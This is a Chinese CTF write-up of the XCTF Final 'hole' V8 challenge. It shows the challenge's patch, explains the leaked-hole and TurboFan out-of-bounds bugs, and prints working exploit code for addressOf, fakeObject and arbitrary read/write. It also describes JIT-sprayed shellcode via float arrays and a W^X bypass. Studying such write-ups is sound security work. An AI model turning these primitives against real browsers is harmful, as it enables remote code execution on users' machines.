XCTF-Final-hole-wp
这次的 XCTF Final 总长 12 小时,有三道 pwn 题,一道为 Haskell 写成的 lisp 解释器,一道与 Intel sgx 有关。不过我都没怎么看,而是一直在看 hole 这道 v8 题。v8 一直在高速发展,由于我许久没有接触过了,所以不了解新的利用套路——即在构造了 addressOf
和 fakeObject
这两个原语后怎么实现 RCE。最后很遗憾,虽然我实现了上述的两个原语,但是最后并没有做出这题。以下是正文,简述了如何实现 hole 对象的 leak 并且完成对上述原语的构造。之后的利用我从解出的大佬那里求来了 exp,等我学会就找时间更新更新:现在我会了,在文章里面简述了一下。
1 漏洞分析
先来看一下附带的 diff
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index f6238e3072..17821d3124 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1765,7 +1765,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
"Map.prototype.delete");
// This check breaks a known exploitation technique. See crbug.com/1263462
- CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+ // CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/compiler/js-native-context-specialization.cc b/src/compiler/js-native-context-specialization.cc
index 39302152ed..3193065d7d 100644
--- a/src/compiler/js-native-context-specialization.cc
+++ b/src/compiler/js-native-context-specialization.cc
@@ -29,13 +29,12 @@
#include "src/objects/feedback-vector.h"
#include "src/objects/heap-number.h"
#include "src/objects/string.h"
-
+int times=1;
namespace v8 {
namespace internal {
namespace compiler {
namespace {
-
bool HasNumberMaps(JSHeapBroker* broker, ZoneVector<MapRef> const& maps) {
for (MapRef map : maps) {
if (map.IsHeapNumberMap()) return true;
@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
// with this transitioning store.
MapRef transition_map_ref = transition_map.value();
MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
- if (original_map.UnusedPropertyFields() == 0) {
+ if (original_map.UnusedPropertyFields() == 0 && times--==0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
diff --git a/src/d8/d8-posix.cc b/src/d8/d8-posix.cc
index c2571ef3a0..99f0e76234 100644
--- a/src/d8/d8-posix.cc
+++ b/src/d8/d8-posix.cc
@@ -734,20 +734,20 @@ char* Shell::ReadCharsFromTcpPort(const char* name, int* size_out) {
}
void Shell::AddOSMethods(Isolate* isolate, Local<ObjectTemplate> os_templ) {
- if (options.enable_os_system) {
- os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
- }
- os_templ->Set(isolate, "chdir",
- FunctionTemplate::New(isolate, ChangeDirectory));
- os_templ->Set(isolate, "setenv",
- FunctionTemplate::New(isolate, SetEnvironment));
- os_templ->Set(isolate, "unsetenv",
- FunctionTemplate::New(isolate, UnsetEnvironment));
- os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
- os_templ->Set(isolate, "mkdirp",
- FunctionTemplate::New(isolate, MakeDirectory));
- os_templ->Set(isolate, "rmdir",
- FunctionTemplate::New(isolate, RemoveDirectory));
+// if (options.enable_os_system) {
+// os_templ->Set(isolate, "system", FunctionTemplate::New(isolate, System));
+// }
+// os_templ->Set(isolate, "chdir",
+// FunctionTemplate::New(isolate, ChangeDirectory));
+// os_templ->Set(isolate, "setenv",
+// FunctionTemplate::New(isolate, SetEnvironment));
+// os_templ->Set(isolate, "unsetenv",
+// FunctionTemplate::New(isolate, UnsetEnvironment));
+// os_templ->Set(isolate, "umask", FunctionTemplate::New(isolate, SetUMask));
+// os_templ->Set(isolate, "mkdirp",
+// FunctionTemplate::New(isolate, MakeDirectory));
+// os_templ->Set(isolate, "rmdir",
+// FunctionTemplate::New(isolate, RemoveDirectory));
}
} // namespace v8
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 3816d1ac99..695e770465 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3163,56 +3163,56 @@ static void AccessIndexedEnumerator(const PropertyCallbackInfo<Array>& info) {}
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
- global_template->Set(isolate, "version",
- FunctionTemplate::New(isolate, Version));
+ // global_template->Set(Symbol::GetToStringTag(isolate),
+ // String::NewFromUtf8Literal(isolate, "global"));
+ // global_template->Set(isolate, "version",
+ // FunctionTemplate::New(isolate, Version));
global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
- global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
- }
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
- // Prevent fuzzers from creating side effects.
- if (!i::FLAG_fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
-#ifdef V8_FUZZILLI
- global_template->Set(
- String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
- .ToLocalChecked(),
- FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
-#endif // V8_FUZZILLI
-
- if (i::FLAG_expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
+ // global_template->Set(isolate, "printErr",
+ // FunctionTemplate::New(isolate, PrintErr));
+ // global_template->Set(isolate, "write",
+ // FunctionTemplate::New(isolate, WriteStdout));
+ // global_template->Set(isolate, "read",
+ // FunctionTemplate::New(isolate, ReadFile));
+ // global_template->Set(isolate, "readbuffer",
+ // FunctionTemplate::New(isolate, ReadBuffer));
+ // global_template->Set(isolate, "readline",
+ // FunctionTemplate::New(isolate, ReadLine));
+ // global_template->Set(isolate, "load",
+ // FunctionTemplate::New(isolate, ExecuteFile));
+// global_template->Set(isolate, "setTimeout",
+// FunctionTemplate::New(isolate, SetTimeout));
+// // Some Emscripten-generated code tries to call 'quit', which in turn would
+// // call C's exit(). This would lead to memory leaks, because there is no way
+// // we can terminate cleanly then, so we need a way to hide 'quit'.
+// if (!options.omit_quit) {
+// global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+// }
+// global_template->Set(isolate, "testRunner",
+// Shell::CreateTestRunnerTemplate(isolate));
+// global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+// global_template->Set(isolate, "performance",
+// Shell::CreatePerformanceTemplate(isolate));
+// global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+
+// // Prevent fuzzers from creating side effects.
+// if (!i::FLAG_fuzzing) {
+// global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+// }
+// global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+
+// #ifdef V8_FUZZILLI
+// global_template->Set(
+// String::NewFromUtf8(isolate, "fuzzilli", NewStringType::kNormal)
+// .ToLocalChecked(),
+// FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
+// #endif // V8_FUZZILLI
+
+// if (i::FLAG_expose_async_hooks) {
+// global_template->Set(isolate, "async_hooks",
+// Shell::CreateAsyncHookTemplate(isolate));
+// }
if (options.throw_on_failed_access_check ||
options.noop_on_failed_access_check) {
这里开头注释了 CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
这个检查。通过注释可以看到这个网址:https://crbug.com/1263462 ,大概可以知道这个是为了防止一个针对 hole
的利用,这是一个 v8 中的内部对象,用于表示此位置没有元素(stackoverflow)。我们使用这个原语就可以获得一个 size == -1
的 Map
// ./d8 --allow-natives-syntax ./poc.js
let theHole = %TheHole()
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1);
// %DebugPrint(m);
print(m.size);
虽然从设计上来说,hole 是永远不会泄漏到“用户态”的 js 代码中的,但是许多漏洞都可以最后伪造出 hole 对象来实现稳定的 oob ,所以在这个 commit 中,添加了更多校验。让这个利用的 trick 失效了。不过在这道题里面,patch 掉了这个校验,所以大概可以知道预期解就是想办法 leak 出一个 hole 对象,然后实现 oob 。
然后看下一个 patch
@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
// with this transitioning store.
MapRef transition_map_ref = transition_map.value();
MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
- if (original_map.UnusedPropertyFields() == 0) {
+ if (original_map.UnusedPropertyFields() == 0 && times--==0) {
DCHECK(!field_index.is_inobject());
这是在 ReducePropertyAccess 中的,处理属性存储时的一个 case ,当 original_map 的 UnusedPropertyFields() == 0
时,patch 前的正确行为为:更换 Map 的 property 存储对象,这样之后才可以正确地向 property 中添加属性
if (original_map.UnusedPropertyFields() == 0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);
// Perform the actual store.
effect = graph()->NewNode(simplified()->StoreField(field_access),
storage, value, effect, control);
// Atomically switch to the new properties below.
field_access = AccessBuilder::ForJSObjectPropertiesOrHashKnownPointer();
value = storage;
storage = receiver;
}
观察 if 中添加的 node ,可以看出确实更换了 storage node 。那么之后添加的节点就可以认为一定可以安全地向 storage node 中写入了
{
// ..
value = storage;
storage = receiver;
}
effect = graph()->NewNode(
common()->BeginRegion(RegionObservability::kObservable), effect);
effect = graph()->NewNode(
simplified()->StoreField(AccessBuilder::ForMap()), receiver,
jsgraph()->Constant(transition_map_ref), effect, control);
effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
value, effect, control);
effect = graph()->NewNode(common()->FinishRegion(),
jsgraph()->UndefinedConstant(), effect);
可以看到,不会有 checkbounds 之类节点的添加,会直接写入值。
然而在 patch 过后,第一次执行该优化时就会跳过之前替换 storage node 的 nodes 添加。这可以导致 oob ,最后实现任意地址读写(我就是拿这个任意地址读写伪造了一个 hole 对象)。
我们来观察一下他的效果
let m = {a: 0x100};
%DebugPrint(m);
m.b = 0x200;
%DebugPrint(m);

可见一个全新创建的 map ,会把初始化的元素 in-object
储存,其 unused property fields 即为 0 ,其 properties 也执行了一个 FixedArray[0]
,即空数组。
然后在给 map 新增一个属性后,原来的
FixedArray[0]
就被替换成了 PropertyArray[3]
,相应的,unused property fields 也变成了 2 (3 - 1)。这是在解释器中的行为,我们可以想象正确的 turbofan 优化后也应该有一样的效果,但是在 patch 后生成的代码将不会替换 properties 指向的目标,在添加属性时,就会直接向 FixedArray[0]
中继续写入了。我们来看下面这个例子
function PropertyStore() {
let m = {a: 0x100};
%DebugPrint(m);
m.b = 0x200;
%DebugPrint(m);
}
%PrepareFunctionForOptimization(PropertyStore);
PropertyStore();
%OptimizeFunctionOnNextCall(PropertyStore);
PropertyStore();
...
Received signal 11 SEGV_ACCERR 368800002258
==== C stack trace ===============================
[0x55bdcee5bc83]
[0x55bdcee5bbd1]
[0x7f7a684d3520]
[0x55bd400040f0]
[end of stack trace]
fish: Job 1, './d8 --allow-natives-syntax ./d
' terminated by signal SIGSEGV (Address boundary error)
执行后直接发生了 crash ,这是因为在优化后, m.b = 0x200
这个语句会直接向 FixedArray[0]
中写入,但是这个对象是一个特殊对象,专门用于表示空数组,处在只读内存段,写入便会导致段错误。
2 漏洞利用
如果想要实现利用,我们要想个办法构造可以写入的 properties 从而实现 oob。从上面的 %DebugPrint
我们可以发现, UnusedPropertyFields() == 0
时, FixedArray[0]
会被替换为 PropertyArray[3]
,可以存储三个属性,并且他是一个动态分配、处于可读写堆端的对象,我们可以先构造一个 properties 为 PropertyArray[3]
的 map ,并且把该数组填满,使 unused property fields 为 0 ,然后触发优化,此时再添加 property ,就可以实现 oob 了。
function TestSetProperty(obj, s) {
obj.d1 = i2f(0xDEADBEEF73311337n);
obj.d2 = i2f(0x99996666AAAABBBBn);
obj.d3 = i2f(0x99996666AAAABBBBn);
%DebugPrint(obj);
return obj;
}
var oober = {};
const N = 10000;
for (let i = 0; i < N; i++) {
let map = {a1: 0x100, b: 0x200};
map.a2 = i2f(0xAAAABBBBCCCCDDDDn);
map.a3 = i2f(0xEEEEFFFF11112222n);
map.a4 = i2f(0x3333444455556666n);
// %DebugPrint(map);
console.log(map.a4);
if (i == N - 1) {
oober = TestSetProperty(map, i);
} else {
TestSetProperty(map);
}
}

这个 poc 可能会 crash ,但是没关系,写 exp 的时候调整一下就不会了。同时还要注意,poc 里面的 console.log(map.a4)
这句话不能删掉,不然就不会发生优化了(至少我调的时候是这样的)
可以看到,map 中的元素的确发出了溢出,并且 corrupt 了 a3 这个属性, %DebugPrint
甚至他解析成了一个 JSObject
。
那么这里发生了什么呢?其实就是优化之后,直接向 PropertyArray[3]
中越界写入,导致了 oob ,而其中 d2 这个属性复写了 a3 属性的值,所以我们只要读出 a3 就可以实现堆地址的 leak ,而改写 a3 的值,就可以完全控制 d2 指向的目标,然后再读写 d2 的值,就可以实现任意地址读写了。这里具体的调试过程我就不再赘述了(调了一天,眼都花了),总之我们修改一个 map 的属性指向 theHole ,就可以实现 hole 的 leak 了。(看起来 theHole 在固定偏移中,所以我们只要写 0x2451
这样一根压缩指针就可以了)。获得 hole 之后就可以搞出一个 size 为 -1 的 map 了。
3 poc
以下为实现 addressOf 和 fakeObject 原语的 poc
var buffer = new ArrayBuffer(8);
var float64_arr = new Float64Array(buffer);
var uint64_arr = new BigUint64Array(buffer);
var udf_addr = 0n;
var i2f = (uint64) => {
uint64_arr[0] = uint64;
return float64_arr[0];
}
var f2i = (float64) => {
float64_arr[0] = float64;
return uint64_arr[0];
}
function TestSetProperty(obj, s) {
obj.d1 = i2f(0xDEADBEEF73311337n);
obj.d2 = i2f(0x99996666AAAABBBBn);
obj.d3 = i2f(0x99996666AAAABBBBn);
return obj;
}
var oober = {};
const N = 10000;
for (let i = 0; i < N; i++) {
let map = {a1: 0x100, b: 0x200};
map.a2 = i2f(0xAAAABBBBCCCCDDDDn);
map.a3 = i2f(0xEEEEFFFF11112222n);
map.a4 = i2f(0x3333444455556666n);
// %DebugPrint(map);
console.log(map.a4);
if (i == N - 1) {
oober = TestSetProperty(map, i);
} else {
TestSetProperty(map);
}
}
// %DebugPrint(oober);
console.log(f2i(oober.a3).toString(16));
// %SystemBreak();
let map = {a1: 0x100};
map.a2 = i2f(0xbeefbeefbeefbeefn);
map.a3 = i2f(0xbeefbeefbeefbeefn);
map.a4 = i2f(0xbeefbeefbeefbeefn);
// %DebugPrint(map);
heap_addr = f2i(oober.a3);
heap_addr = heap_addr & 0xFFFFFFFFn;
console.log("head_addr: 0x" + heap_addr.toString(16));
// let hole_addr = 0x2451n;
var holeMap = {a: 0x100};
holeMap.udf1 = undefined;
holeMap.udf2 = undefined;
holeMap.udf3 = undefined;
// %DebugPrint(oober);
// udf_addr = head_addr + 0x280n;
const offset_to_map = 0x274n + 8n
oober.a3 = i2f((heap_addr + offset_to_map) | ((heap_addr + offset_to_map) << 32n));
oober.d2 = i2f(0x0000245100002451n);
// %DebugPrint(holeMap);
let theHole = holeMap.udf2;
// %DebugPrint(holeMap);
// %DebugPrint(theHole);
function FinalExploit(hole) {
function GetOobArr(hole) {
let m = new Map();
m.set(1, 1);
m.set(hole, 1);
m.delete(hole);
m.delete(hole);
m.delete(1);
console.log(m.size);
let oob_arr = new Array(1.1, 1.1);
m.set(0x10, -1);
m.set(oob_arr, 0xffff);
console.log("oob_arr length:", oob_arr.length);
return oob_arr;
}
let oob_arr = GetOobArr(hole);
oob_arr[3] = i2f(0xDEADBEEFn);
oob_arr[4] = i2f(0xDEADBEEEn);
let float_arr = [1.1, 1.2, 1.3, 1.4];
let float_arr2 = [2.1, 2.2, 2.3, 2.4];
let int_arr = [1, 2, 3, 4];
let object_arr = [{}, {}, {}, {}];
let leak_object_arr = [2.1, 2.2, 2.3, 2.4];
console.log("++++++++++++++++++++++++++++++++++++++");
// %DebugPrint(float_arr);
console.log("++++++++++++++++++++++++++++++++++++++");
// %DebugPrint(object_arr);
console.log("++++++++++++++++++++++++++++++++++++++");
// %DebugPrint(leak_object_arr);
oob_arr[13] = i2f((f2i(oob_arr[13]) & 0xFFFFFFFFn) | 0x0000200000000000n);
oob_arr[41] = i2f((f2i(oob_arr[41]) & 0xFFFFFFFFn) | 0x0000200000000000n);
console.log(float_arr.length)
console.log(object_arr.length);
let float_map = f2i(float_arr[11]) & 0xffffffffn;
console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16));
let object_map = f2i(float_arr[32]) & 0xffffffffn;
console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + object_map.toString(16));
let addressOf = (obj) => {
object_arr[38] = obj;
return f2i(leak_object_arr[0]);
}
let fakeObject = (addr) => {
float_arr[0x10] = i2f(addr);
return object_arr[0];
}
let rw_tool = [
// map
i2f(float_map),
i2f(0x00000008BEEFDEADn),
1.1,
1.2
];
let rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn;
// %DebugPrint(rw_tool);
console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16))
let arbitary_rw_tool = fakeObject(rw_tool_addr - 0x20n);
let read64 = (address) => {
rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
// %DebugPrint(arbitary_rw_tool);
return f2i(arbitary_rw_tool[0]);
}
let write64 = (address, val) => {
rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
arbitary_rw_tool[0] = i2f(val);
}
// Calculate the address of FLAG_wasm_memory_protection_keys
// ref: https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
// console.log("wrapper_type_info: 0x" + wrapper_type_info);
// %DebugPrint(arbitary_rw_tool);
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
// %DebugPrint(wasmInstance);
addr_f = addressOf(f) & 0xFFFFFFFFn;
console.log(f());
var instance_addr = addressOf(wasmInstance) & 0xFFFFFFFFn;
console.log("[+] instance_addr: 0x" + instance_addr.toString(16));
// w^x protect on, nomore rwx
// var rwx_addr = read64(instance_addr - 1n + ???n);
// console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16));
while (1);
}
FinalExploit(theHole);
由于现在高版本已经启用了 W^X 保护—— wasm function 中不再有 rwx 的内存段,不能直接执行 shellcode getshell。不过这个可以通过这篇文章尾部提到的覆写 write_protect_code_memory_
来绕过。这就出现了另一个问题,该字段所处的对象在 ptmalloc 堆上,由于此版本 v8 也开启了指针压缩,我们无法实现对该堆的任意读写,这就需要这篇文章中提到的方法来绕过了。遗憾的是,由于比赛时间不够,我并没有根据两篇文章中的方法实现利用。而且据说,这种方式在高版本中也失效了。
4 rce
还是接触的少了,对 v8 的利用只停留在了可以对 wasm 一把梭的年代。希望可以蹲一个大佬的 exp 学习 从 @nightu 师傅那里求来了 exp ,发现他的做法是
- 直接向 jit 函数中写入 shellcode 片段
- 修改
<Funtion>
的CodeDataContainer
中的code_entry_point
,把该变量指向我们的 shellcode 片段 - 执行该函数
这里我只是没有想到原来现在的 v8 还可以做到直接向 jit 函数中布置 shellcode 片段,但是调试了一下确实是可以做到的
const foo = ()=>
{
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}
如上代码在 jit 后,会生成下面的代码片段

可见对于浮点数组,turbofan 在优化后会把代码生成为 movabs <reg>, <imm>
样式,我们只要把 code_entry_point
指向这些片段,就可以执行 shellcode 了。
没有想到这个方法的原因很简单,我以为这个早就被 mitigate 了,因为在很久以前就看到 v8 有针对 jit spraying 的保护,但是没想到对于浮点数组似乎没有效果的样子
另外,交流后获得了一些文章链接,这里整理一下
另外比赛完后,顺便去夫子庙旁边逛了逛,路过一条河,看别人都在拍照自己也凑凑热闹拍了一张
感觉南京这里确实还挺漂亮的,至少灯光颜色挺统一的。可惜没把女朋友带来。